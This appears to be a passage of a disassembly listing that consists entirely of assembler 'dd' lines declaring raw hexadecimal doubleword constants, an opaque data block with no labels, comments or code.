dd 0E3064941h, 315162B5h, 0CF2830D0h, 44BF7B18h, 94EFCD00h
dd 934A5A77h, 117E005Ch, 0A61CDAB0h, 0C8C3E78Bh, 327C0C8h
dd 8060999h, 70103198h, 0AE088D48h, 2980E754h, 32CCA9D1h
dd 10D56FB9h, 6C54C880h, 253E5D63h, 744B80C1h, 420B8534h
dd 0B56D007Dh, 13DD6CA9h, 576440D7h, 2220BFC0h, 0CF0CF4D2h
dd 8924C029h, 0CAFC99h, 312AA962h, 5BEAA65Eh, 4225C208h
dd 62E18764h, 7DD7509Bh, 501D242Ch, 5F0A359Ah, 1C06245Ch
dd 31D1A4h, 56FB15D4h, 0AA92F06Eh, 8F349A01h, 5367D212h
dd 0BCE042E9h, 0A5510063h, 0F92C1625h, 0AC02E3B2h, 0D0EFB0C7h
dd 0D926C089h, 42F9C2DFh, 8C909C1Ch, 0A600EE31h, 25BAAEA1h
dd 6082DD18h, 15EC2932h, 0C57C5D50h, 41C0DBE8h, 9CAFA3Ch
dd 0EEB01249h, 28145FDFh, 18574490h, 38CC5128h, 0F91D4A22h
dd 4C52FCh, 0E340908Fh, 0C7EB7289h, 48AB9C18h, 44F8C850h
dd 5242B14Dh, 0BFC4E53Ch, 61801674h, 1A1926ACh, 140F03F3h
dd 80872A4Fh, 8B90FC84h, 0F40A73F6h, 0A8971DA7h, 0BA06CC68h
dd 71F0C78Ch, 428CA6DEh, 695F07A4h, 40EFC2EBh, 201563E8h
dd 0EE4609B2h, 0A58AAB37h, 7F93EEAh, 3538336Ah, 412A96D2h
dd 85C3648h, 91B6CFA9h, 66CD053Eh, 0B85899EEh, 0C97F5B68h
dd 90104AD1h, 5502CBBFh, 0A4DB86C8h, 0DABFC13Bh, 28DC8441h
dd 3AAB4210h, 11D1B931h, 58E821ECh, 77183B3Ch, 76862200h
dd 0C2FAA689h, 9CACE35Bh, 193A4861h, 0D122D252h, 215CA1A7h
dd 91803370h, 0D228D832h, 0C4A420A6h, 34E8DD22h, 8C1A79ABh
dd 0CD887114h, 8007F142h, 0BDC10CABh, 8500B6E4h, 967CEA17h
dd 264EC89h, 9A51BF8Fh, 9848779Bh, 63897112h, 87FF5510h
dd 86EECD0Eh, 396CE0B8h, 542E366Fh, 0F23054A1h, 901C9847h
dd 0A028A198h, 2C6461D2h, 1C88CC0Ch, 0F46952A9h, 0C020527Dh
dd 71501822h, 68001FE9h, 91AD5428h, 31E44E4Fh, 1AA88A41h
dd 8C0805D0h, 0F0BF9CD7h, 80DBB449h, 85B15201h, 2F0BB5F4h
dd 26494C8Ch, 941EA261h, 7C032CFBh, 144A41h, 0A55DEE19h
dd 98CD348Dh, 4FB82400h, 0C09095FFh, 0C4737021h, 8C51A624h
dd 81C728D8h, 0E9D1A9AAh, 0F09E4DF1h, 0A308E159h, 4851475Eh
dd 98F26289h, 185B9190h, 8183049h, 33A4831h, 0A7D2148Ch
dd 5A42868Ch, 0E60B0031h, 62A5C2C6h, 691EF650h, 0D9011E52h
dd 8C47CBD2h, 7F0AC0h, 0E5438B7Dh, 0C845C708h, 8399023Bh
dd 719A841Fh, 0E320074Bh, 4D82FE4Ch, 0BE63F130h, 5CC40039h
dd 0AE1C144Fh, 1574B7h, 9F687779h, 4CEBA353h, 7480222h
dd 74FE492Bh, 8E1D290h, 5DBAC0D7h, 46CC3083h, 146BC951h
dd 4AB35000h, 3B950749h, 8E0F0081h, 42D10C99h, 0FF035DA9h
dd 0CC2A747Eh
dd 0BB39004Ch, 0DC21B1A7h, 0E8FE7F57h, 19D90939h, 0E3903A18h
dd 0A488580Ch, 5DC9CEF6h, 25647621h, 0E9B8201Eh, 92F18400h
dd 6D755591h, 72530099h, 9A126807h, 6630EBABh, 2E7F7889h
dd 0A948005Fh, 0E060D302h, 0B90117A5h, 0E88BD45Ah, 7FC08A3h
dd 804122FEh, 496E9A18h, 0C08266B9h, 17E63749h, 871D01E8h
dd 50394FE2h, 5B446F18h, 9B66309Fh, 40717B19h, 0AB5E9660h
dd 78637C3h, 3236C174h, 1AA2A15Dh, 4428F80Ah, 698E6630h
dd 0ECF349h, 0B9B642D3h, 0D43424A4h, 3D86C714h, 0A55A01FFh
dd 8B7C6A44h, 3879C9D0h, 0B885E107h, 9AD6C01h, 2C0CF2D8h
dd 62A8C51h, 0DF00A4E4h, 0FC3B02CDh, 0EEB48464h, 286A63BBh
dd 31008369h, 60B67522h, 944C3E9h, 9ADCFEE5h, 0DE072E03h
dd 7E706910h, 18CD084h, 4E659BDDh, 0C0309C54h, 78753Ch
dd 0C48FD3F9h, 0F35D84C0h, 2D1C197Bh, 0D1D23A66h, 9A7E7801h
dd 2047AB68h, 7C458038h, 14213FCFh, 0C0413600h, 49E1AA46h
dd 0B7698A6h, 7F3C87E4h, 13CDD481h, 84D19169h, 2301023Ch
dd 200C5540h, 0B9CCE0B8h, 73A06748h, 299FA744h, 294018Ch
dd 2D3631D8h, 0D141C840h, 0CC034484h, 76394460h, 10E4FD6h
dd 342B9E4Ch, 415759C9h, 0B80BE8h, 7AE0CDDh, 34F33BB6h
dd 0A12D80F4h, 4D00D188h, 0AA73FE1Dh, 0F53F38h, 7DD29E5Fh
dd 5BAE250Ch, 0FEF2570Ah, 1942E485h, 9E4323E5h, 87C48A83h
dd 0B4B9FC98h, 31C21F15h, 60E2258h, 2D727743h, 33ED070h
dd 8666083Bh, 3F8900E3h, 69ECE86Ch, 83FD27Eh, 60ABA8FBh
dd 416E9B18h, 95BC8F1h, 769E42F3h, 5237DC02h, 0B4126411h
dd 4B7CC83h, 5C996922h, 673EBD34h, 0F69EC300h, 1B408715h
dd 4CCC4336h, 0DC8F960h, 0F84F0FC9h, 0DE6CD60Ch, 34A93B1Ch
dd 6D9A107Bh, 0A0BC914Eh, 7420068h, 8F92AF2Eh, 1700D340h
dd 10A9E4Fh, 6D5C762h, 3B69DC8Ch, 0F400E1A7h, 6F83BBFBh
dd 231C09Dh, 0FE9E0AC9h, 0A0A0E8B8h, 53A1436Ch, 0E590D800h
dd 0AEC73C0Bh, 69640056h, 5D2A46F6h, 660FC9D2h, 809FA4BAh
dd 6E9D4862h, 0A97400F3h, 98F86A65h, 3E1CF7CCh, 82FCEAB9h
dd 6372648Eh, 0A683C068h, 0C64100A5h, 94435653h, 0D1C09F66h
dd 4558C38Dh, 50750067h, 30E039A4h, 90002D5h, 77996411h
dd 60A5D647h, 0F585B1ECh, 0A900C836h, 440FBAD0h, 249B7348h
dd 62785A68h, 6E24E50Bh, 42CC1091h, 9BC2C454h, 67B49083h
dd 0CD76887Eh, 0A3170D00h, 822B6AEDh, 7701308h, 64A005C0h
dd 720C0075h, 0AF499805h, 0C3DCAC51h, 45E427BCh, 8C05085Fh
dd 1D980482h, 86E069A0h, 85800A13h, 9F3D0B3Eh, 0A51F0CE6h
dd 7C03B9EAh, 74360186h, 0CC4AFD73h, 0E410204Fh, 894B6388h
dd 1083266h, 818EACEFh, 90ECC2A2h, 818D6038h, 0E11CA60Ch
dd 7E37DA02h, 81CE0D70h, 57B8C808h, 45008463h, 0EDA4D3F6h
dd 3007CA9h, 15593791h, 0F0DBE30h, 2DDC45ADh, 0DE748140h
dd 6700FE26h, 0EE64082Fh, 0E1CD0Dh, 0A9B8E977h, 74E45654h
dd 0D2C3FE00h, 0CC2F049Eh, 2169CE50h, 1CAE3E80h, 0AB007842h
dd 0E07BC03Dh, 0E4DEF7C9h, 0BCF44CE4h, 9DEC4929h, 0DA242107h
dd 3A385200h, 1EBA0BC9h, 0C327A6FAh, 6457DA43h, 0DD0C0385h
dd 3900F7A4h, 0EE798420h, 1C9B2F2Ch, 463B3D2h, 0C7AF86D9h
dd 2E1173A9h, 669744F8h, 0FA718560h, 0D939B9h, 65DABEBAh
dd 0E58E45F5h, 20238C30h, 308E454h, 11642CD6h, 0A9BA3104h
dd 23A0F041h, 45FF1114h, 0C0F22B04h, 65141E8Ch, 5A9F0034h
dd 439B0117h, 6CBB1C9Dh, 0CB59433Dh, 5072F230h, 67034F12h
dd 2A4B6032h, 7C821138h, 38B16C74h, 0EB1D2340h, 2BF6003Dh
dd 0BEF82664h, 460CD40Bh, 2AF2CC10h, 87A05E3h, 815345C9h
dd 30904384h, 67303DECh, 0F979498Ah, 0F0F700EDh, 4C707C7Ah
dd 66902C7Bh, 4445301h, 1FF60502h, 78584C22h, 0BC00F122h
dd 144ED53Ch, 2A083B4h, 8CD274F4h, 0A8669F24h, 9DC0E703h
dd 0B0F01F67h, 0B5936Eh, 6C58DC4Ch, 0C36F5A32h, 22DD4700h
dd 6BC01864h, 34C2444h, 71B74078h, 2831ABDAh, 0F2A528CBh
dd 567E8180h, 58E63CF1h, 63B01200h, 0F29F9904h, 0D8C22EFh
dd 7C0440B0h, 4B699B50h, 840E408Ch, 43384900h, 3D4845DEh
dd 5E67299Bh, 8711B8h, 74F2F6D9h, 7C103970h, 0CC770C5Dh
dd 85297E21h, 3B6F688h, 0E0FA89F5h, 0E990CF0Ah, 6225C81Eh
dd 0D5900183h, 618048CDh, 8C60A8DEh, 1A03C0A4h, 2D1D13EFh
dd 2EA0A6E2h, 22A07C4Fh, 0FDC2C18h, 0FFC903D9h, 8194DB6Bh
dd 29CBF254h, 8C380700h, 0C30392Dh, 1BB43B2h, 89E10D4h
dd 28A3C1F1h, 54E2294h, 3C471F8Eh, 2211805Ah, 0BA00BD63h
dd 0E9D2B09Ah, 9132C625h, 0EAA40800h, 0FA558B00h, 614DBED9h
dd 0DB71E09Bh, 0C92C4863h, 0BE6E5312h, 2FD0EB00h, 2B12818h
dd 0D8C6BDFDh, 0C8827FB6h, 76207E6Ch, 60EC0108h, 0C9DFA0B1h
dd 764A902h, 34CD2B78h, 0E8226ECh, 1C3FFBDAh, 0B1C55A00h
dd 0A301197Ch, 0D15E4A89h, 0A980EBA4h, 5D6C1E29h, 2A095BF1h
dd 889E442Bh, 7080FCA6h, 0B922EDBEh, 0CD8D0094h, 71C3E0F2h
dd 8200D489h, 6F7DF9C9h, 5C210C5Dh, 0A1315467h, 50C6F2B1h
dd 0F767FFCh, 8C0DA00Dh, 0C2D378ABh, 0C214828Dh, 66182D85h
dd 0FECF008Ch, 7747FFF2h, 4DC70033h, 3FC6BCB2h, 695C6354h
dd 44267737h, 2030D5FDh, 484FDC56h, 0B3828C08h, 0E444698Eh
dd 0EE3EBC03h, 0D055E2DFh, 2289235h, 2417CC8Ch, 10E9E332h
dd 10CC04B3h, 7A9C240Ch, 71C600A1h, 8CDB4218h, 82F26100h
dd 86F6347Fh, 0A0ADF464h, 1465CCDh, 0FDE32AAAh, 80E9A5F2h
dd 0C61071D1h, 30E7429Bh, 690231Ah, 3C300748h, 0B3A6A181h
dd 0FD9F0443h, 819E5CA8h, 0F690CD08h, 5EDDC848h, 344C3B1Eh
dd 0E7FF450Eh, 40CF4443h, 7E914684h, 0E1B22406h, 0BE7D0438h
dd 66A88265h, 5F7A085Ah, 7A68A301h, 4BC84952h, 0FDDA424h
dd 9CB78CF5h, 564ECCC4h, 0C1370Fh, 0DC5C5386h, 0BB1B3998h
dd 65B9D483h, 68109E01h, 0F208954Ah, 9A48DC3h, 0CBFAC022h
dd 0EA005EECh, 0B0047548h, 317C0DC5h, 0C6C844DFh, 32A8604Ah
dd 889E4000h, 0A9C2F3CBh, 9B49C88Ch, 39846E80h, 0A48B3Dh
dd 9E560145h, 0FB35AE2Ah, 40661B1Ah, 47848429h, 0C5E28F40h
dd 0DD07C74Eh, 3E39495Dh, 817744E3h, 0F424C001h, 44A498E8h
dd 0D8A4A486h, 5AB6D700h, 0A6653CBh, 0C861828Ah, 69D811E4h
dd 0CE4C6C72h, 80CFD11Eh, 796B43BAh, 37248019h, 7B19B4D5h
dd 0A039CDF0h, 0FA6D100h, 0CF7116F1h, 41956900h, 763CFA90h
dd 7CA35C87h, 13E36811h, 0B4284C64h, 85A80E6Dh, 0F4A06A3Ah
dd 0CC5DCB04h, 9F29A060h, 4CF0FDEh, 7780642h, 7E30883Ah
dd 7741A506h, 91C96466h, 46A88004h, 6099AE0Fh, 0B9C0AB61h
dd 0E070A108h, 75D28888h, 0F6FD062Ch, 949E2401h, 1C64294Dh
dd 0D5AF4566h, 0E631808Dh, 4A2D8147h, 0CD4E03EBh, 0E0F6D392h
dd 7E7C48F0h, 0A820B89Bh, 1879BA20h, 99EDA576h, 770FFE81h
dd 81B08345h, 0ACBC067h, 227A7C32h, 471C44CDh, 3844B4EBh
dd 40A205D7h, 950A4C0Ah, 47F844F0h, 3CE06ECAh, 38AC2620h
dd 33804073h, 0BEF9DB09h, 0E1001116h, 6665C727h, 0E2AB70BCh
dd 36EAA6h, 0E2420339h, 9DBEFE8Ch, 21B4F001h, 88D70EE4h
dd 8C694850h, 6AEC0BB1h, 0DC8D1D12h, 0C0F44019h, 0E4A9A79h
dd 5D8EF420h, 0DEF473h
dd 6467EA99h, 0CF902B05h, 0D9A69505h, 8453A39h, 0D08141B9h
dd 0CB11F606h, 8F618C4Dh, 3EADA08h, 0CE84F371h, 0AD0AFDFh
dd 6E0222DBh, 88BFDE7Dh, 0EC7269h, 61789D7Ch, 0C1AF02CBh
dd 0B81F9502h, 0C4058C0Eh, 99F27C68h, 0A57505E8h, 0C286C7E7h
dd 0F466FFF3h, 1B1D1CA0h, 72EBA212h, 0E6DD7C01h, 783347FBh
dd 67799701h, 43919E68h, 1E077D0h, 4924E74h, 0CA00E3F8h
dd 0DDD39F7h, 333E0CDh, 40C863F8h, 2A3442Dh, 40F7A2h, 0C60539B7h
dd 42A80D62h, 6AC08043h, 0A1AB9080h, 0BB6C3A57h, 0C9EFA418h
dd 0B200406Dh, 82EDFF3h, 1380224Bh, 23689BAEh, 0F7909FF8h
dd 0FD0E3D99h, 4E9EE5A3h, 440D826h, 0E884F5E7h, 101E9A70h
dd 5C032CC4h, 0B545DEC7h, 2CCDB030h, 6324386Ch, 1BDDA389h
dd 8188DB85h, 27E9CE8h, 0CD40E1DCh, 316C8830h, 2A783346h
dd 16720C16h, 58EDC224h, 6FB4D854h, 9001DEF2h, 2C7247C3h
dd 1C311463h, 24F176C5h, 7CE2E4CFh, 0C20A425h, 899D3F57h
dd 37E99C00h, 3DB03C05h, 0A14C065h, 6420A019h, 4E7FC8A0h
dd 0FE34B101h, 427160A9h, 3D2FECh, 0E81A358Fh, 0A58DE145h
dd 0F1849650h, 0CCBCA384h, 0FAC20C40h, 23006F61h, 0EF07CD9Eh
dd 9CC0FEA3h, 0ABD881CCh, 72E4F50Ah, 452268h, 144B7A5Ah
dd 443B3169h, 5941F094h, 0C3CC22B4h, 40070945h, 80FDA62Ch
dd 3A67F1B2h, 8C8D517Ah, 0D8261C28h, 3D15050h, 7A979548h
dd 0EA6A3314h, 0E97577BBh, 0D0826D28h, 2551E820h, 20206743h
dd 502D03D9h, 9A9BDC02h, 64A4D671h, 2FDE3858h, 3426E9Dh
dd 4C13B5ECh, 29842085h, 22DA844h, 0B4FC8789h, 1F23E37h
dd 8F84922Fh, 20050CC3h, 236F4A9Ah, 0E0818000h, 66918841h
dd 2E39BC8Ch, 87214F83h, 68A8CD85h, 6A008614h, 0FEE4E098h
dd 3ED9E6D2h, 3E9205DEh, 76BC02A7h, 0B0721C66h, 0B0486D22h
dd 1BB20A40h, 35C044Ch, 816B662Ch, 0F8DC1ECDh, 8C81F522h
dd 34791087h, 72EECFh, 0FB3385E9h, 0D39E4117h, 0C6C5300h
dd 0C6438A06h, 2A746Dh, 762D7977h, 0E126B901h, 0BFE8B8E6h
dd 1D897D00h, 0A580F4AFh, 9F54006Fh, 9052A25h, 87F8B155h
dd 85301D01h, 6FAA3B2h, 700DF0h, 0B998623Ch, 3AEDE6ECh
dd 0AF28F760h, 0CF58D9F0h, 831D8650h, 0ACBEE184h, 113D13F0h
dd 810D7F3Ah, 0EC8E94C1h, 399FFC39h, 781090C5h, 0F72CBD76h
dd 2931820Ch, 708CB32h, 30B0ED20h, 0CAA1BA36h, 7C00898Dh
dd 0D38509F9h, 64F1977h, 67F6AD93h, 1D285915h, 39003898h
dd 801155D2h, 1A0A71h, 6FEDE834h, 655CE794h, 0E247F907h
dd 0BFC09E3Ah, 0CF97F418h, 9F031438h, 0DAD82E7Bh, 90F1AE5h
dd 80B51756h, 0DD168369h, 76950C97h, 9079124Dh, 0EFB9D00h
dd 1110D4CAh, 314E8EAh, 0B47C46EEh, 0D103E970h, 0F0AB623h
dd 0FAE19862h, 4BC03F41h, 0F8B08899h, 20F209E3h, 867F13F2h
dd 542AD100h, 5227CF2Fh, 0AC0A0349h, 4AAFA98Ch, 0FC8F15F0h
dd 54E834A8h, 0B1CD9B00h, 33C4C82Ah, 868D1CB5h, 98C7D463h
dd 51740F02h, 0CEC0A5E2h, 0D6603593h, 0D7EAB18h, 0CCDA505Fh
dd 89B76736h, 65D39007h, 0CC784284h, 0E0D8E400h, 96FB7491h
dd 0C0C35295h, 7500C522h, 0F89E448Ah, 38D040h, 1BD10BCh
dd 651C8DD2h, 3EB1B60Ah, 590094B7h, 0B4E8691Dh, 359C1D31h
dd 0E3990160h, 47CCA1FBh, 59FF76D0h, 0C000E4EEh, 935FE57Ah
dd 293CF54Dh, 8058B047h, 0F805844Bh, 20156B6h, 89B39A3h
dd 2184B453h, 948BE330h, 0DADC338Ch, 4386EFA0h, 88A2C8ECh
dd 0AA0D8460h, 309D6C29h, 90FEFC00h, 2915DDCh, 0EE801CA0h
dd 48446A88h, 0BC7EBE24h, 6D697C41h, 0E7F07840h, 49BF6137h
dd 0C19A3F73h, 0A468704Eh, 0C9446400h, 7AB92AAEh, 9809137h
dd 5E00D912h, 9AB501E6h, 0E908C100h, 87AE6569h, 9FB7183Dh
dd 78377190h, 85FE700h, 2A07EB72h, 0C4543A01h, 40C016A4h
dd 0EDEFE930h, 0E87D3798h, 0D0AB3B2Fh, 0EA24A123h, 0E1A86613h
dd 0E400DA1Ah, 1C1F6486h, 284B4859h, 6707CBFh, 0F36BA183h
dd 76131086h, 21032573h, 0C2A21FC8h, 5508834Bh, 0AFD100B3h
dd 0FE46E811h, 0B60E573Dh, 655DB5BFh, 0C4C4B771h, 2BF04F80h
dd 903700C1h, 7377FBB8h, 5E1DF65Fh, 85809FCEh, 7E6CE0ECh
dd 31B91E65h, 0D24C00BBh, 0D358899h, 0BF801401h, 12ED7BB3h
dd 88EC9024h, 0F9FAE1D5h, 5172DFF6h, 9961021Ch, 4104E242h
dd 44804615h, 0CE00A3C4h, 3FE496A6h, 0CAEFB2h, 322522A5h
dd 1AD26E63h, 4679DB02h, 0A88818h, 3FF1947Fh, 0B4E7F400h
dd 37265E6Bh, 0DF51C1B6h, 0D81C0165h, 0A8A0E924h, 0E788937Eh
dd 8D700D9Eh, 0F0B16996h, 0DF000610h, 0E33933B6h, 0E2770FE1h
dd 11F30195h, 14AA969Bh, 0F9169589h, 0E1F404B0h, 0C8C1003h
dd 0E67E30ADh, 9384B632h, 0A8BE6C03h, 0D3046077h, 7D43E017h
dd 426092D0h, 91830E7Fh, 929682A8h, 9804C862h, 0B369C3C2h
dd 5C0FCDCAh, 0C0C32002h, 4430A3FFh, 8DDC0009h, 0BF3B6492h
dd 1E671C7Bh, 0F291B4E1h, 2CFC9FEDh, 0BE7088h, 1A5FF00Bh
dd 31BBDAAAh, 8048E33Eh, 36110866h, 118E7F0Dh, 2FE99A5h
dd 0AAF42609h, 0C9C0C05Fh, 0EC9897h, 0D3CDE58Fh, 0DB439F31h
dd 0E96DED00h, 87FB69AFh, 0D68D00F5h, 0F99A81ACh, 921FBA5Fh
dd 760CDED5h, 488D08E5h, 564C9516h, 0DD330500h, 789A1FF0h
dd 0AB34AA00h, 0C3945F86h, 0E5B500A9h, 0EDD21855h, 49CF917Bh
dd 57B6E09Ch, 0C3B32C77h, 0F768E550h, 0ED7C20A6h, 6269E760h
dd 4E583Bh, 0DF8A1324h, 0BFA04F3Ah, 5A3FC407h, 0B6700941h
dd 0AB69E491h, 44E0C720h, 0EEDD6DFAh, 60A0507Eh, 0DF0388E3h
dd 0A9E75500h, 0C580A83Dh, 0E67703F6h, 8E02C84Bh, 130F3000h
dd 0A817D31Ch, 6F570034h, 79A9814Fh, 0ED0EBB4Bh, 9ED695D5h
dd 58D9470Ch, 1D570082h, 888038A0h, 8CE91305h, 8EFBE71h
dd 0A0A400D5h, 5B3C0EC5h, 0E500EA42h, 9E86AFF9h, 387345BDh
dd 0DAB04D5Ah, 81DCD639h, 61F9CA14h, 2F5875C4h, 0F320EFFh
dd 4FBE475Dh, 5FF582E0h, 0E0420FBFh, 0C05C55B7h, 0CD6F76E4h
dd 56ECD018h, 0C600C878h, 0DC7F34A7h, 2E0269D1h, 3E6758B2h
dd 8171E6B0h, 591C19EFh, 8403D6AEh, 947DFBB3h, 0C4C700BBh
dd 5527D706h, 0DF2A0774h, 9A1FAC98h, 304501BFh, 0F90E4611h
dd 0EA5EE062h, 7F5DF32h, 0A902F116h, 51B7A077h, 6A7A3BEEh
dd 3FC81805h, 0D022E6DFh, 3C8020E9h, 1600E70Dh, 8CDCFFD9h
dd 54FE1CF3h, 0FC62AAD1h, 0CDBF0C9Fh, 0ED08BD0Fh, 9D308348h
dd 0A63FCE87h, 86902680h, 0E6B7004Eh, 5ECB7F75h, 56042FBFh
dd 9D964BD0h, 0D97637C0h, 98C960E2h, 0BE627997h, 13D8EA52h
dd 88BCA3A9h, 12CD4709h, 369E6880h, 3C39F657h, 5E8D802Eh
dd 649D19E3h, 7839D4EBh, 620C9421h, 16119DFh, 0BF0787B3h
dd 0F4E48EFDh, 28D28FA7h, 80D6300Ah, 5E30CD80h, 150D72Ch
dd 0C096E821h, 0FC94E4F9h, 1300CB46h, 405BE560h, 2852EAAh
dd 0BFDD5FADh, 98806650h, 7D77BDCCh, 6E998600h, 55D90738h
dd 6AC7010Fh, 5FEBDA59h, 0BCD040E8h, 0A53D16F6h, 92110138h
dd 0DD75CBAAh, 3412908Ch, 0EE1835B9h, 0E4D1907Dh, 703F482Dh
dd 0F2448478h, 0FF54001Bh, 3E398E98h, 0B800BF99h, 0CCCD767Ch
dd 1C10AB3Ch, 4040D5A8h, 0A1721B57h, 0DD1274C8h, 0E040FFC7h
dd 0E6D84473h, 0A33F0F6Eh, 0A9819FD6h, 8CA57DEDh, 79E87671h
dd 0FB350179h
dd 5791A7E7h, 99E2600Eh, 9DF81600h, 10372D0Bh, 0C14F8EFh
dd 1B12056Fh, 3E75D1D1h, 1E9C44h, 2D1DC97Eh, 60F4D8D9h
dd 99C1850Fh, 0C769C1ACh, 0FBDD27EFh, 5576A180h, 0CEF04274h
dd 0B4B5D628h, 0D42F0880h, 0D73FDF19h, 710E4A9h, 8900800Dh
dd 937F3D5Bh, 9C6E58h, 799A479Dh, 77EE2686h, 14003A49h
dd 0B62789h, 76019E0Eh, 248F047Fh, 1588EB5h, 69E538EEh
dd 55543410h, 806C774Ch, 5DDA7A63h, 0B64500ECh, 9D6CD6Bh
dd 0EE222553h, 48F5767Ch, 9725860h, 5377C45Eh, 0A4563890h
dd 7CE9FA60h, 4C3AF9BAh, 9A80A0DFh, 696724E7h, 230A3F00h
dd 4A75A26Ah, 0D6F90041h, 8918D7A5h, 31DF97DFh, 0E2CEAB01h
dd 37D8640Dh, 80BE18BBh, 0DE3E60F6h, 7529A260h, 0EEE758h
dd 0C8BF2070h, 83F87B5Fh, 7A301800h, 3C7D3FE9h, 0B40F03A9h
dd 0DE78BA24h, 80A1DFC1h, 84925141h, 389C64h, 55401021h
dd 2A4B0114h, 0BBEEA01Eh, 8D571780h, 5C4E030Ah, 0F530630Fh
dd 36EE5689h, 0EFD06A1Dh, 0C308912h, 3FEC045h, 0E14D10EDh
dd 0E0BFAA1Fh, 5EF4B19Eh, 0BF8D751Fh, 31C67ACCh, 9C590386h
dd 0E5BD63C2h, 0F60C6FC7h, 8300D369h, 0DCAF802Bh, 4CDDCE95h
dd 0E62118C9h, 808F7D08h, 0FACB5985h, 207E116h, 2E5E4F7Eh
dd 60E4E681h, 0F1007462h, 20A05A19h, 0D613DD6Eh, 0E4201A05h
dd 0C7FDC735h, 602CF229h, 8858C48Fh, 0E8563D30h, 95CB031h
dd 0B712C5EAh, 861F0080h, 0A2EACDBh, 0D0393C75h, 0E5528248h
dd 90E1143Ch, 0A4E381A0h, 0A320ADBAh, 8E031D66h, 39ED0A22h
dd 71E06FD0h, 5F145A4Dh, 58B9A20Eh, 0B22FE0EBh, 24EF948h
dd 0A14CAC3Ch, 2464579Dh, 1394D0A1h, 19FAC84Dh, 0E8CF58C2h
dd 82156453h, 0C30134DAh, 0BAF40B48h, 8FD8CC30h, 0F8BB1000h
dd 5D71DA33h, 20781C85h, 0F6AC4047h, 0C796F2C6h, 50EFA3Bh
dd 0CF40E44Fh, 4B554782h, 37883CE0h, 441CA2A2h, 0C8401F2Bh
dd 0B4FF60F0h, 4A0C0E89h, 770012C6h, 0F5A458A9h, 0D86EBFEAh
dd 49E48C40h, 29FF0007h, 17E7C3B6h, 1150AB8Ah, 0A60C7DCh
dd 6F3743D1h, 0C3E60353h, 506BE5FBh, 0B83E4BB8h, 68217F00h
dd 76FF80D5h, 5D8917Ah, 0C419F35Eh, 9558005Dh, 24328CD2h
dd 0C11EF67Fh, 4F80903Eh, 0E56A307Fh, 438A063h, 0C1C9910h
dd 6341E7BEh, 0C1B05700h, 0EB81B5AFh, 8E5E13C9h, 769C0E55h
dd 88C3317Bh, 1EDD4F8h, 38AF4500h, 5B9CF649h, 0C749CBF0h
dd 40F1A490h, 87997700h, 247AB642h, 0F27407DAh, 0F8FF43F4h
dd 81453507h, 0DD2A9410h, 400324FAh, 9E3B03CCh, 9DA0D96Dh
dd 377C82AFh, 2E23F50Ch, 49C739F7h, 0E0004CFEh, 3F0836A8h
dd 0C315C583h, 5DC93DFh, 0B3E0221h, 3E68AB86h, 2A053754h
dd 0C2622FB2h, 0C444BEACh, 689F7F0Eh, 0A0009273h, 1B81D3D8h
dd 0D604163Eh, 0FED80F95h, 0D70E1191h, 4940350Eh, 1731D220h
dd 0DF009CE7h, 9A247D46h, 2630A6F7h, 242760h, 0FF4F26A0h
dd 769876E0h, 97222C02h, 52B030CEh, 0A68E01B4h, 56B20A69h
dd 48C832A3h, 0FE5BC098h, 1DDBB11Fh, 0A618828Eh, 0A42D004Fh
dd 0BF5D5C74h, 0B4A7703h, 906C5F8Ah, 7BE5B5B3h, 0A48D30EAh
dd 28C7CFB0h, 0A159BA64h, 8AEDB640h, 5005FF2h, 5235D05Ah
dd 0B538CDB2h, 110EFE50h, 20EE6647h, 0F78369CEh, 0FDBE0AFAh
dd 8084E076h, 944E1160h, 750F15C5h, 855EDCAEh, 388056BFh
dd 0E4703910h, 9A283EE7h, 2A00CE5Ch, 58405977h, 56000896h
dd 0D90A36C2h, 7976EEh, 5A64F194h, 9D51B7FFh, 0C8985E4Ch
dd 0E886467Ah, 50BCBE4Dh, 418AE16Ch, 0C617FC98h, 74983117h
dd 0E21744ECh, 64082B19h, 0C0CA9EC1h, 2AD90677h, 5A2C9D24h
dd 0C79458BEh, 0FB077D24h, 0FD7BF64h, 91E8F6h, 13BB833Dh
dd 4F5D6354h, 0E1427D00h, 1746A25Eh, 0BC670BADh, 0F40630E6h
dd 9C4889A3h, 0C7416772h, 0F9982009h, 0C0BB55h, 485AEA34h
dd 9A297023h, 6BF640A0h, 19FB6116h, 1C76461h, 98254180h
dd 0A2C1E993h, 0D7ED1400h, 7B6A22A7h, 0D840EFABh, 0A1F7579Ch
dd 0F210091Ch, 84005530h, 70B7BF9Dh, 774F43Ah, 0A2EDCB2Ch
dd 4AA79024h, 9D60DE3Fh, 0E09513C1h, 0A6AC0097h, 0BC509FD7h
dd 0C700E981h, 58775676h, 5220E19h, 5C3F30FCh, 303DC54Dh
dd 0F7889764h, 0A106D100h, 84ED9DB1h, 0FFB307B4h, 777EBF35h
dd 0E89EA099h, 0DF264036h, 2BD7CADh, 1105828Bh, 0C8BD24E4h
dd 1F00E860h, 57ACEC62h, 9784723h, 0CB56EF55h, 927EA410h
dd 5FF926h, 0DBF08300h, 6033D6h, 0C4E83CECh, 69E4EE3Eh
dd 4D5B18A0h, 0D284F437h, 0A400387Ah, 24D2E8D4h, 954501A0h
dd 385CB357h, 94EED440h, 3FFA9E09h, 0CD8498DDh, 0EAC900D2h
dd 200CB0CFh, 0FB90881Eh, 604C577Eh, 0E81128E4h, 4072EFh
dd 26B523Fh, 1918F80h, 5FCB946Ch, 0F85190D8h, 0D9601905h
dd 0AE9A3B91h, 50606078h, 5C3E9EBFh, 14C34C08h, 0D2204EDFh
dd 51BD32BAh, 0C4F1FA01h, 33296A86h, 0EA240C8h, 4DF128Ah
dd 91E02D64h, 10F762A0h, 1E02CAF1h, 0C7579EEh, 0D30F5DDh
dd 8E610573h, 261ACA89h, 5C28E460h, 9E886CFBh, 0CC237692h
dd 1BCAB021h, 0C96A0019h, 912FC702h, 22FF5C9Dh, 7224Ch
dd 2F72307Dh, 0B0500A05h, 8195A200h, 609041BBh, 0CA5E0140h
dd 297BEE0Eh, 879889D4h, 2ECE80E5h, 0FCE897Fh, 5798C06Bh
dd 0D500830Fh, 0E4E3BB23h, 1001B437h, 0DE178EC1h, 0B9353180h
dd 0CD94F06Eh, 0BEEB1F0Ch, 1D5183Bh, 0B8EC10CEh, 0CCB74C53h
dd 2900499Ch, 98DE6B57h, 0C07E8A59h, 0EABB2428h, 4562B0E4h
dd 0E0782EC4h, 3C053E31h, 7E06D4D3h, 59465899h, 89911730h
dd 977AC9h, 0C4487622h, 0F454B173h, 0F10A461Dh, 8DAFBF40h
dd 0A01918CEh, 6093E02Ch, 712F4930h, 0BA30E4E8h, 98DF5186h
